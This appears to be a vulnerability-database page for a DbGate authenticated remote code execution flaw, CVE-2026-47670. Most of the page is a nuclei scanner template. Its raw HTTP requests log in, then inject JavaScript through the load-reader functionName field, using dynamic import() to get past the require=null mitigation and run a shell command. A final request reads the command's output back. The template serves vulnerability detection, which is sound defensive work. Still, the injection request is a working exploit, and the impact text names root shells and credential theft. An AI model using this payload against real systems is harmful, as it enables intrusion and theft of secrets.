Lucene search
+L

DbGate - Remote Code Execution via Dynamic Import Bypass

🗓️ 20 Oct 2026 02:05:18Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 50 Views

DbGate remote code execution via dynamic import bypass on load-reader endpoint for authenticated users.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-47670
23 Jul 202619:12
–attackerkb
githubexploit
GithubExploit
Exploit for CVE-2026-47670
18 Jun 202620:12
–githubexploit
circl
Circl
CVE-2026-47670
20 May 202609:31
–circl
cve
CVE
CVE-2026-47670
23 Jul 202619:12
–cve
cvelist
Cvelist
CVE-2026-47670 DbGate Vulnerable to Authenticated Remote Code Execution via loadReader functionName code injection
23 Jul 202619:12
–cvelist
euvd
EUVD
EUVD-2026-48376
23 Jul 202619:12
–euvd
github
Github Security Blog
Authenticated Remote Code Execution via loadReader functionName code injection in DbGate
5 Jun 202616:30
–github
kitploit
Kitploit
CVE-2026-47670
16 Oct 202620:33
–kitploit
mend
Mend
CVE-2026-47670
23 Jul 202619:12
–mend
nvd
NVD
CVE-2026-47670
23 Jul 202620:17
–nvd
Rows per page
id: CVE-2026-47670

info:
  name: DbGate - Remote Code Execution via Dynamic Import Bypass
  author: theamanrawat
  severity: critical
  description: |
    DbGate versions <= 7.1.8 are vulnerable to authenticated remote code execution via the POST /runners/load-reader endpoint. The functionName parameter is directly interpolated into a JavaScript code template without sanitization. The require=null mitigation is bypassed via dynamic import().
  impact: |
    An authenticated user can escalate from web UI access to a root OS shell, steal infrastructure secrets from /proc/1/environ, extract other users credentials, pivot to internal networks, and install persistent backdoors.
  reference:
    - https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf
    - https://nvd.nist.gov/vuln/detail/CVE-2026-47670
    - https://github.com/advisories/GHSA-wm5r-5qp3-5vxf
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.4
    cve-id: CVE-2026-47670
    epss-score: 0.01757
    epss-percentile: 0.77614
    cwe-id: CWE-77
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.title:"DbGate"
    fofa-query: title="DbGate"
    vendor: dbgate
    product: dbgate
  tags: cve,cve2026,dbgate,rce,vuln,auth

variables:
  canary: "{{rand_text_alpha(8)}}"
  jslfile: "/tmp/_dbg_{{rand_text_alpha(6)}}.jsonl"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"amoid":"logins","login":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "accessToken")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: token
        part: body
        json:
          - '.accessToken'
        internal: true

  - raw:
      - |
        POST /runners/load-reader HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"functionName":"csvReader\nvar _f=await import('fs');var _c=await import('child_process');var _o=_c.execSync('id').toString().trim();_f.writeFileSync('{{jslfile}}',JSON.stringify({__isStreamHeader:true,columns:[{columnName:'out'}]})+String.fromCharCode(10)+JSON.stringify({out:'{{canary}}'+' '+_o})+String.fromCharCode(10));//","props":{}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
        internal: true

  - raw:
      - |
        POST /jsldata/get-rows HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"jslid":"file://{{jslfile}}","offset":0,"limit":100}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{canary}}"

      - type: word
        part: body
        words:
          - "uid="

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210085357265c13b15ab21ff28bc7afd9f5f47845eaabdc6f2abc2592ed5934f7c84022100f94b2bccadb6ad1529a146142e76d9fa8dd84ea8018a6057b57d2db2303c3022:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jun 2026 06:58Current
6.3Medium risk
Vulners AI Score6.3
CVSS 49.4
EPSS0.01757
SSVC
50